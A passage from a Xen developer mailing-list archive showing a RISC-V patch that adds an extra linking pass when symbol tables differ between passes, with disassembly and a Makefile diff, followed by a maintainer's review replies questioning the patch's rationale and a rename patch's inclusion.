ffffffffc00c0574:       0006879b                sext.w  a5,a3
ffffffffc00c0578:       00d30733                add     a4,t1,a3
ffffffffc00c057c:       00074703                lbu     a4,0(a4)
ffffffffc00c0580:       04477893                andi    a7,a4,68
ffffffffc00c0584:       02088063                beqz    a7,ffffffffc00c05a4 <simple_strtoull+0x160>
ffffffffc00c0588:       00477893                andi    a7,a4,4
ffffffffc00c058c:       fc0880e3                beqz    a7,ffffffffc00c054c <simple_strtoull+0x108>
ffffffffc00c0590:       fd07879b                addiw   a5,a5,-48
ffffffffc00c0594:       fcdff06f                j       ffffffffc00c0560 <simple_strtoull+0x11c>
ffffffffc00c0598:       fc97879b                addiw   a5,a5,-55
ffffffffc00c059c:       fc5ff06f                j       ffffffffc00c0560 <simple_strtoull+0x11c>
ffffffffc00c05a0:       00000513                li      a0,0
ffffffffc00c05a4:       00058463                beqz    a1,ffffffffc00c05ac <simple_strtoull+0x168>
ffffffffc00c05a8:       0105b023                sd      a6,0(a1)
ffffffffc00c05ac:       00008067                ret
        ...

ffffffffc00c05c0 <turn_on_mmu>:
ffffffffc00c05c0:       12000073                sfence.vma
ffffffffc00c05c4:       00800293                li      t0,8
ffffffffc00c05c8:       03c29293                slli    t0,t0,0x3c
ffffffffc00c05cc:       000fc317                auipc   t1,0xfc
ffffffffc00c05d0:       a3430313                addi    t1,t1,-1484 # ffffffffc01bc000 <stage1_pgtbl_root>
ffffffffc00c05d4:       00c35313                srli    t1,t1,0xc
ffffffffc00c05d8:       00536333                or      t1,t1,t0
ffffffffc00c05dc:       18031073                csrw    satp,t1
ffffffffc00c05e0:       00050067                jr      a0

ffffffffc00c05e4 <_ident_end>:
ffffffffc00c05e4:       0000                    .insn   2, 0x0000
        ...
```

So the tool (symbols.c) emits an entry at start+size only when a gap
follows; the gap closed in pass 2.  (look at the code of want_symbol_end()
in symbols.c) what leads to difference in one entry in symbols table between
passes.
---
 xen/arch/riscv/Makefile | 16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

diff --git a/xen/arch/riscv/Makefile b/xen/arch/riscv/Makefile
index fc6b34661111..046f73f4d87c 100644
--- a/xen/arch/riscv/Makefile
+++ b/xen/arch/riscv/Makefile
@@ -50,9 +50,21 @@ $(TARGET)-syms: $(objtree)/prelink.o $(obj)/xen.lds
 		| $(objtree)/tools/symbols $(all_symbols) --sysv --sort \
 		> $(dot-target).2.S
 	$(MAKE) $(build)=$(@D) $(dot-target).2.o
-	$(call compare-symbol-tables, $(dot-target).1.o, $(dot-target).2.o)
+	if ! { $(call compare-symbol-tables, $(dot-target).1.o, $(dot-target).2.o) >/dev/null; }; \
+	then \
+		set -e; \
+		$(LD) $(XEN_LDFLAGS) -T $(obj)/xen.lds $< $(build_id_linker) \
+		    $(dot-target).2.o -o $(dot-target).2; \
+		$(NM) -pa --format=sysv $(dot-target).2 \
+			| $(objtree)/tools/symbols $(all_symbols) --sysv --sort \
+			> $(dot-target).3.S; \
+		$(MAKE) $(build)=$(@D) $(dot-target).3.o; \
+		$(call compare-symbol-tables, $(dot-target).2.o, $(dot-target).3.o); \
+	else \
+		ln -sf $(dot-target).2.o $(dot-target).3.o; \
+	fi
 	$(LD) $(XEN_LDFLAGS) -T $(obj)/xen.lds $< $(build_id_linker) \
-	    $(dot-target).2.o -o $@
+	    $(dot-target).3.o -o $@
 	$(NM) -pa --format=sysv $@ \
 		| $(objtree)/tools/symbols --all-symbols --xensyms --sysv --sort \
 		> $@.map
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 16:05:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 16:05:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355736.1610507 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglou-0004jx-1m; Mon, 06 Jul 2026 16:05:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355736.1610507; Mon, 06 Jul 2026 16:05:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglot-0004jq-Uy; Mon, 06 Jul 2026 16:05:19 +0000
Received: by outflank-mailman (input) for mailman id 1355736;
 Mon, 06 Jul 2026 16:05:18 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wglos-0004jk-H7
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 16:05:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wglor-00AeWW-Te
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 18:05:17 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4bd22e-e002-0a2a0a5209dd-0a2a450b8162-18
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 18:05:17 +0200
Received: from [209.85.221.43] (helo=mail-wr1-f43.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4bd23d-ac48-0a2a450b0019-d155dd2bb463-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 18:05:17 +0200
Received: by mail-wr1-f43.google.com with SMTP id
 ffacd0b85a97d-476d8e647e9so2698468f8f.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 09:05:17 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c63ba97csm369530015e9.12.2026.07.06.09.05.12
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 06 Jul 2026 09:05:12 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783353917; x=1783958717; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=0NyIbcnKYzPvUZy6YEDC90XztMoJYC6r0R0CbBatUiw=;
        b=XJVGBC8SuSDHU90qsrnc9EAug3yc6jtcj/0tUGAYHB5t5i29Yf/i971Y8WqV3L7snd
         Efz+8cpkYP8rp5mw4T+g1sU/yaDLfyNJYmdJD1LdKXrOZ0jBA86lKgwdu5atz8ixOat1
         dGzlZtAQocjzt4a1RON6AUUrp9IBfthT4T/7nUniI40EJMpbQwdqCmmmX9FogBPjHGZg
         DQHnrbzl4u1yRgv4ML2cqMCxFU/bNb6sByvvktyekA5zCdAtcW4/jQ2uIuc53XafzWTF
         46qGsxFZGybMRYUQt259xZRu92CqeRA81hYFbNwS3kk5ek0IJ2LAcwphPgey0PHWtyhp
         CUIQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353917; x=1783958717;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=0NyIbcnKYzPvUZy6YEDC90XztMoJYC6r0R0CbBatUiw=;
        b=iGrlya3edNEe1/Cdc00jco6Tq0w5kt0TuatTdsyVFv/tvOIYSJLO6MYhwFJCFtSp2I
         fDFxPjq2qO6i73spClZsKN4S/atFkuAjcN+t9TlfIxqe5JCk8D1E/+XuWEXE1Ace+kGu
         eu7ud+2T0jZfXNzCpkDH7E/Ujf8FQpW7+ey3ezTiskzGrIqPSQyloznBx8B2+22XZymP
         mLGGLODqLP+BAHfUuYZo1ot3jQuOSfkKGn2PYy27F+lGjlZKJj3D5hxYeaTxDna7OEiZ
         8vbLq64DWQ+5VjSSDZ4VjVWb2XvTdcEllwb+euj3y9t5vRqndWBjTOSzDF7eYA56zSx8
         5tYw==
X-Forwarded-Encrypted: i=1; AHgh+RoMAbYoRESQZayv3HfiPVDg36vxllQWjI+ME1VuJbNd5tAKG3vQ6EX+7al8wn4VOPuQcori/bc0Q2g=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxNK7wek71TZZOzC0KvjVgT1OKsnbVCRlui56dxjtgoOBSYyQRq
	QlqOiNVt5eMyOB20MrmUL6AP30zqK15WOScFRMSrhCW1r8uE0NVwQC9oJRLm0tHGwA==
X-Gm-Gg: AfdE7ckky+vLPH7TpAuHFz0oLpaF2DZOcG6jo/I9JDk0Cxbu4DqqZNQgQcXCNyVpsdw
	u/gqYjXCWuCKaR03Hwpk9JWUGSfONvY5acDnxYBRLQjqo/Vasdg8F5V1VledvK7KK178Wd5tn+/
	xkIFnvOfAxAMRi0fZaTrymMRzfTGuT/FXgh89fndt+JJQ1U2iIq0IuWHf55NpOy8/BJ/uxh+Hsh
	0aI4HmZw4Q4K0UcTB54yCx8wXYQkhT1+x9VcRQIzFredZWJKT7jo4XbAve272jBZLT3Fmpnb5pi
	ivcvnCUDPpc8xosStnBEkEC9wePLT0ErMu78jKGWzeMGGgAs5omvKCbiMVxraCXEL0WD7XumG29
	+bMO96TNSp+rG2Of1t1xEQJ1S9Vs6ngHeyfFrdrUBwlsjHPWt2dQzKhVbCPVVoodeWaGA+pcSPG
	iG5A7qNRRkIJELchnM9PV5diP6U1HtpriP9u1jqf6/AyOZK7jnluh2F6iCx7O13IVw7fhWttEzq
	pYY
X-Received: by 2002:a05:600c:620b:b0:493:c984:db9c with SMTP id 5b1f17b1804b1-493df062ba9mr12133255e9.2.1783353913143;
        Mon, 06 Jul 2026 09:05:13 -0700 (PDT)
Message-ID: <89ec62aa-dbcd-496c-8d0b-28bc395d63cf@suse.com>
Date: Mon, 6 Jul 2026 18:05:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 05/26] xen/riscv: rename enum intc_version to
 intc_variant
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <d8a27698b82abc2044ae33887af8132aa749c1f2.1783331040.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd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-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1783353917-3BB30220-53EF3790/10/73395122804
X-purgate-type: spam
X-purgate-size: 500

On 06.07.2026 17:57, Oleksii Kurochko wrote:
> Rename the enum to intc_variant and the structure member from hw_version
> to hw_variant to better reflect that these values select between
> different controller variants, not versions of the same one.
> 
> Suggested-by: Jan Beulich <jbeulich@suse.com>
> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> Acked-by: Jan Beulich <jbeulich@suse.com>

Didn't you say you'd drop this if already committed by the posting of v5?

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 06 16:14:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 16:14:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355744.1610516 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglxD-000835-R2; Mon, 06 Jul 2026 16:13:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355744.1610516; Mon, 06 Jul 2026 16:13:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglxD-00082y-Np; Mon, 06 Jul 2026 16:13:55 +0000
Received: by outflank-mailman (input) for mailman id 1355744;
 Mon, 06 Jul 2026 16:13:54 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wglxC-00082s-BN
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 16:13:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wglxB-008kn7-0l
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 18:13:53 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4bd423-2eae-0a2a0a5409dd-0a2a450c9e9e-26
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 18:13:52 +0200
Received: from [209.85.221.43] (helo=mail-wr1-f43.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4bd440-f399-0a2a450c0019-d155dd2bf075-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 18:13:52 +0200
Received: by mail-wr1-f43.google.com with SMTP id
 ffacd0b85a97d-47afb758487so331555f8f.2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 09:13:52 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9de1e785sm25648330f8f.8.2026.07.06.09.13.51
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 06 Jul 2026 09:13:51 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783354432; x=1783959232; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=FvhIt4HkRvTTrATsgiM41Ykrj0CRDTy0KgnvEsu6nIk=;
        b=Xs65dBqTTTNtqXjSqPogCfj4ZMPzwZPrSfT4wcHn2+4+oZODxQBsCeQDn3Ti9G3I28
         s2klrUi9ijoZxZMYO5ojy/WQHgWRD8nz8CwzdjlhWBnvDFd2C7YKPae/dsiu4vAw2wJs
         Ll+u+dmhFwGVND+R9unXoQXfa4NDE42EMhoP9v+92VEgwES5nkxn5YCC8NgydrVlzDVI
         28GOc+IocK2/hXetKnZzUx8ZOKe4wqJEIwaayfEUMIiMKm4IcsLPMaVvy8mLdR9uD4Sx
         +5iGnNNXcjgowLEDyfpqaY+ZQMIdxf4hTZJMdeo4GFSpyGCF8VANXFqwl936LYCNMq25
         LoNg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783354432; x=1783959232;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=FvhIt4HkRvTTrATsgiM41Ykrj0CRDTy0KgnvEsu6nIk=;
        b=EdlKDbcu/3xU68l8mI99d4jnweoEPu5WQTP6QesTN/lleSmLquESdxgw4yyimmUael
         MY/aFAel0ZhOnc0ZDBIX4qTbw+CL40wEpt5mGJTrVXe1N9tx2b7brUgLSpNFfW3PrU4i
         69HfUya+uoDVNYL4jPeR1atVLTGX5evNsR/9HrDEnnDcUTmyX6y1g+DWWbf0Odf6RJ8g
         VoP9DYCJKzmqIn1YG2IVTvcXCQIlksCXoj4o+t10mVgxJBfJpIFGXTavsxBLTVMfZnBn
         oZAiRxY+nN1/YGyTuOfycYfnBeofjyupr3XbmL1dzMvJ5YNtAmokXCKllHr3VZRq6r5x
         IxpA==
X-Forwarded-Encrypted: i=1; AHgh+Rq9zBTnDigs9HbrB5XFszKBaV/3tU/WzHV8ORZTl1loS9qk5VsuttzOa/vtwlYvqy9Y7IX1y8xx7cE=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwCLlld5yVrOyBho7R40uvZkJQ7aL48PyjthQGAsyxWne9VDCOs
	3768xETBN4ojOMu1/cICl6qjWOnUybb8yzzkuXwVzsTb1M0DRjkYiFE5RIbem389kA==
X-Gm-Gg: AfdE7ckg4KOufnM7WoilRM7ydOOoDkYPyW+PYjWCO/WAuh4WQizGO5md6vUo45gQohD
	No91W4XP2uDQYgAvZF6i84p+SiB7c7kTfJIrHc5W+pFBTaJo3LlUsFfFiA0Zh+jj5JnqAOSuEJo
	UIckMFvBbqFyslA7m3sI+3+nQx+VZvkBCcp8XRStR6USmMYcyaIoaefBF/6QuzBKBmnh1aodv1m
	kvL+VU4rON1OsJ/+PbPW3BPeo43a8TrRCaSM8GY+HOXyg4uSnsKoaTogmB9f5C9f9PE/EjFMSEa
	4DZnJtypqXUAaviGyLIr+/+ZgsPYPj1Ak7N4XIWfVZ6sRPVLYRnYbOYN5XggMz0Nl4w83eYrN3W
	zTYKX6b3Hxx3TOvMG4NhgMfi6sZU7BMzhyNZg5LotRqz4AFK98LBK+M3GQkkuvC0N7ml8vebJKE
	mizgPkOZYWkLGlt7e/JsBPZp0sl2u+1ON3AFYK0wXwwf2RJRS1OVj+Wr+C+/5vqcqnFhnQ3eXU4
	a/v
X-Received: by 2002:adf:f48f:0:b0:478:65a8:2635 with SMTP id ffacd0b85a97d-47de6697c10mr868259f8f.11.1783354432279;
        Mon, 06 Jul 2026 09:13:52 -0700 (PDT)
Message-ID: <3835ed9c-4c9a-49e4-90fd-37644262a942@suse.com>
Date: Mon, 6 Jul 2026 18:13:50 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 26/26] xen/riscv: do a 4th linking pass if necessary
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <ba3b7e3197ae90c9f0e5190ba34de174b86090ac.1783331040.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGa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uWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <ba3b7e3197ae90c9f0e5190ba34de174b86090ac.1783331040.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1783354432-92321D51-1645887D/10/73395122804
X-purgate-type: spam
X-purgate-size: 4819

On 06.07.2026 17:58, Oleksii Kurochko wrote:
> Embedding the symbol table can shift sections and flip relaxation
> decisions, changing code size and thus the set of emitted symbols
> (e.g. gap end markers).

What difference in symbols is there? (And: Do you mean the ELF symbol
table or what tools/symbols emits?) On ...

>  Re-link with a regenerated table when its
> size differs from the previous pass.
> 
> This mirrors commit 35de7285d508 ("Arm: do a 4th linking pass if
> necessary"), which riscv didn't receive when the underlying
> pass-2-vs-pass-3 check was extended to it in commit aa786d6e3467
> ("non-x86/symbols: check table sizes don't change between linking
> passes 2 and 3").

... Arm the problem was with a symbol (dis)appearing from/in the ELF
symbol table. The situation looks to be different here. Sadly ...

> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> ---
> I faced this issue again in downstream:
>   https://gitlab.com/xen-project/people/olkur/xen/-/jobs/15171254706
> 
> It was found that the difference between .xen-syms.0 and .xen-syms.1 is in
> alignment(?) gap between turn_on_mmu() and the end of simple_strtoull.
> Specifically 0xffffffffc00c05b0 is present in pass 1 but not present in
> pass 2 (where end of simple_strtoull() is just equal to ffffffffc00c05c0)
> because code was shifted:
> 
> ```
> .xen-syms.0:     file format elf64-littleriscv
> 
> ...
> 
> ffffffffc00c0534:       f2e794e3                bne     a5,a4,ffffffffc00c045c <simple_strtoull+0x18>
> ffffffffc00c0538:       00280813                addi    a6,a6,2
> ffffffffc00c053c:       f21ff06f                j       ffffffffc00c045c <simple_strtoull+0x18>
> ffffffffc00c0540:       00068813                mv      a6,a3
> ffffffffc00c0544:       00800613                li      a2,8
> ffffffffc00c0548:       f15ff06f                j       ffffffffc00c045c <simple_strtoull+0x18>
> ffffffffc00c054c:       00277713                andi    a4,a4,2
> ffffffffc00c0550:       04070463                beqz    a4,ffffffffc00c0598 <simple_strtoull+0x154>
> ffffffffc00c0554:       fe06869b                addiw   a3,a3,-32
> ffffffffc00c0558:       0ff6f693                zext.b  a3,a3
> ffffffffc00c055c:       fc96879b                addiw   a5,a3,-55
> ffffffffc00c0560:       04c7f263                bgeu    a5,a2,ffffffffc00c05a4 <simple_strtoull+0x160>
> ffffffffc00c0564:       02a60533                mul     a0,a2,a0
> ffffffffc00c0568:       00f50533                add     a0,a0,a5
> ffffffffc00c056c:       00180813                addi    a6,a6,1
> ffffffffc00c0570:       00084683                lbu     a3,0(a6)
> ffffffffc00c0574:       0006879b                sext.w  a5,a3
> ffffffffc00c0578:       00d30733                add     a4,t1,a3
> ffffffffc00c057c:       00074703                lbu     a4,0(a4)
> ffffffffc00c0580:       04477893                andi    a7,a4,68
> ffffffffc00c0584:       02088063                beqz    a7,ffffffffc00c05a4 <simple_strtoull+0x160>
> ffffffffc00c0588:       00477893                andi    a7,a4,4
> ffffffffc00c058c:       fc0880e3                beqz    a7,ffffffffc00c054c <simple_strtoull+0x108>
> ffffffffc00c0590:       fd07879b                addiw   a5,a5,-48
> ffffffffc00c0594:       fcdff06f                j       ffffffffc00c0560 <simple_strtoull+0x11c>
> ffffffffc00c0598:       fc97879b                addiw   a5,a5,-55
> ffffffffc00c059c:       fc5ff06f                j       ffffffffc00c0560 <simple_strtoull+0x11c>
> ffffffffc00c05a0:       00000513                li      a0,0
> ffffffffc00c05a4:       00058463                beqz    a1,ffffffffc00c05ac <simple_strtoull+0x168>
> ffffffffc00c05a8:       0105b023                sd      a6,0(a1)
> ffffffffc00c05ac:       00008067                ret
>         ...
> 
> ffffffffc00c05c0 <turn_on_mmu>:
> ffffffffc00c05c0:       12000073                sfence.vma
> ffffffffc00c05c4:       00800293                li      t0,8
> ffffffffc00c05c8:       03c29293                slli    t0,t0,0x3c
> ffffffffc00c05cc:       000fc317                auipc   t1,0xfc
> ffffffffc00c05d0:       a3430313                addi    t1,t1,-1484 # ffffffffc01bc000 <stage1_pgtbl_root>
> ffffffffc00c05d4:       00c35313                srli    t1,t1,0xc
> ffffffffc00c05d8:       00536333                or      t1,t1,t0
> ffffffffc00c05dc:       18031073                csrw    satp,t1
> ffffffffc00c05e0:       00050067                jr      a0
> 
> ffffffffc00c05e4 <_ident_end>:
> ffffffffc00c05e4:       0000                    .insn   2, 0x0000
>         ...
> ```

... with all of this disassembly provided it still doesn't become clear what
changed from .xen-syms.0 to .xen-syms.1.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 06 16:38:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 16:38:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355757.1610525 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgmKU-0005Yg-MP; Mon, 06 Jul 2026 16:37:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355757.1610525; Mon, 06 Jul 2026 16:37:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgmKU-0005YZ-Jo; Mon, 06 Jul 2026 16:37:58 +0000
Received: by outflank-mailman (input) for mailman id 1355757;
 Mon, 06 Jul 2026 16:37:58 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wgmKU-0005XD-08
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 16:37:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgmKS-00Adyc-I5
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 18:37:56 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4bd9cf-bab6-0a2a0a5309dd-0a2a4502cf14-14
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 18:37:56 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
